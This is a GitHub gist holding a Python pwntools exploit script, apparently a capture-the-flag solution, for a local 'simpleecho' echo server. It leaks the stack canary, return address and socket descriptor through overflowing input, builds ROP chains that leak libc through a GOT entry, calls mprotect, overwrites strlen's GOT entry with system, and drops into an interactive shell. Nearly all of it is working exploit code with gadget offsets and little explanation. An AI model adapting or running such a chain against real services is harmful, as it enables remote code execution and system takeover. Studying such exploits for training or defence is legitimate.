Skip to content

Instantly share code, notes, and snippets.

@leepupu
Created December 17, 2015 14:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save leepupu/338503f2465a7c28c54e to your computer and use it in GitHub Desktop.
Save leepupu/338503f2465a7c28c54e to your computer and use it in GitHub Desktop.
from pwn import *
import time, sys
s = ""
r = None
def print_hex_str(s):
for c in s:
print hex(ord(c))
elf = ELF('./libc.so.6')
r = None
def conn():
global r
# r = process('./simpleecho')
r = remote('127.0.0.1', 12543)
r.recvuntil('Input:')
# Read canary in stack
def get_canary():
r.send('a'*137)
r.recvuntil('echo ')
s = r.recvuntil('Input:')
s = s[137: 137+7]
print_hex_str(s)
cannery = '\x00'+s
print 'cannery', cannery
return cannery
# read EchoServer's ret address
def get_ret():
ofs = 136+8+8
r.send('a'*(ofs-1)+'\n')
r.recvuntil('echo ')
s = r.recvuntil('Input:')
s = s[ofs: s.index('Input:')]
s += (8-len(s))*'\x00'
return unpack(s, 64)
# socket fd in this connection session
def get_socket_fd():
ofs = 136+4*12
r.send('a'*(ofs-1)+'\n')
r.recvuntil('echo ')
s = r.recvuntil('Input:')
s = s[ofs: s.index('Input:')]
s += (4-len(s))*'\x00'
return unpack(s)
conn()
canary = get_canary()
ret_addr = get_ret()
socket_fd = get_socket_fd()
print 'canary', canary
print 'ret_addr', hex(ret_addr)
print 'socket_fd', socket_fd
text_base = ret_addr - 0x00FE3
addr_sendmsg = text_base+0xCF5
print 'text_base', hex(text_base)
# 0x0000000000001081 : pop rsi ; pop r15 ; ret
# 0x0000000000001083 : pop rdi ; ret
# call sendMsg with socket fd to send got entry back
payload = 'exit'+'a'*132+canary + 'a'*8
payload += p64(text_base+0x0000000000001081) + p64(text_base+0x00201F48) + 'aaaaaaaa' # rsi <= got of send
payload += p64(text_base+0x0000000000001083) + p64(socket_fd) # rdi <= socket fd
payload += p64(addr_sendmsg) # ret to sendMsg directly
print 'payload len', len(payload) # cant longer than 256
r.send(payload)
r.recvuntil('goodbye~')
s = r.recv()
print 'origin s', s
print len(s)
s += (8-len(s))*'\x00'
libc_base = (unpack(s, 64) - elf.symbols['send'])
print 'libc_base', hex(libc_base)
r.close()
time.sleep(1)
# libc_base = 0x7ffff7a15000
# text_base = 0x555555554000
addr_sh = libc_base+0x17CCDB
addr_system = libc_base+elf.symbols['system']
print 'system', hex(addr_system)
conn()
canary = get_canary()
socket_fd = get_socket_fd()
# got of strlen 0201F30
# 0x0000000000117869 : mov dword ptr [rsi], edi ; ret
# 0x0000000000022b1a : pop rdi ; ret
# 0x0000000000024805 : pop rsi ; ret
# 0x0000000000117868 : mov qword ptr [rsi], rdi ; ret
# 0x0000000000001b8e : pop rdx ; ret
payload = 'exit'+'a'*132+canary + 'a'*8 # pedding
payload += p64(libc_base+0x0000000000022b1a) + p64(text_base+0x201000) # rdi <= text_base+0x201000 (segment start)
payload += p64(libc_base+0x0000000000024805) + p64(0x1000) # rsi <= 0x1000 segment size
payload += p64(libc_base+0x0000000000001b8e) + p64(7) # protection mode 1|2|4 writable
payload += p64(libc_base+elf.symbols['mprotect']) # call mprotectect
payload += p64(libc_base+0x0000000000022b1a) + p64(socket_fd) # back to EchoServer first, cause length is too long, need socket fd as param
payload += p64(text_base+0x000D28) # adr of EchoServer
payload2 = 'exit'+'a'*132+canary + 'a'*8 # pedding
payload2 += p64(libc_base+0x0000000000022b1a) + p64(addr_system) # system address
payload2 += p64(libc_base+0x0000000000024805) + p64(text_base+0x00201F30) # got entry of strlen
payload2 += p64(libc_base+0x0000000000117868) # GOT hiject let strlen to system
payload2 += p64(libc_base+0x0000000000022b1a) + p64(socket_fd) # back to EchoServer
payload2 += p64(text_base+0x000D28) # adr of EchoServer
print 'payload len', len(payload2)
# rsi 0x555555755f30 93824994336560
# rdi 0x7ffff7a5b640 140737348220480
# => 0x00007ffff7b2c868 <inet6_option_init+24>: mov %rdi,(%rsi)
# time.sleep(1)
r.send(payload)
r.recv()
r.send(payload2)
r.interactive()
sys.exit(0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment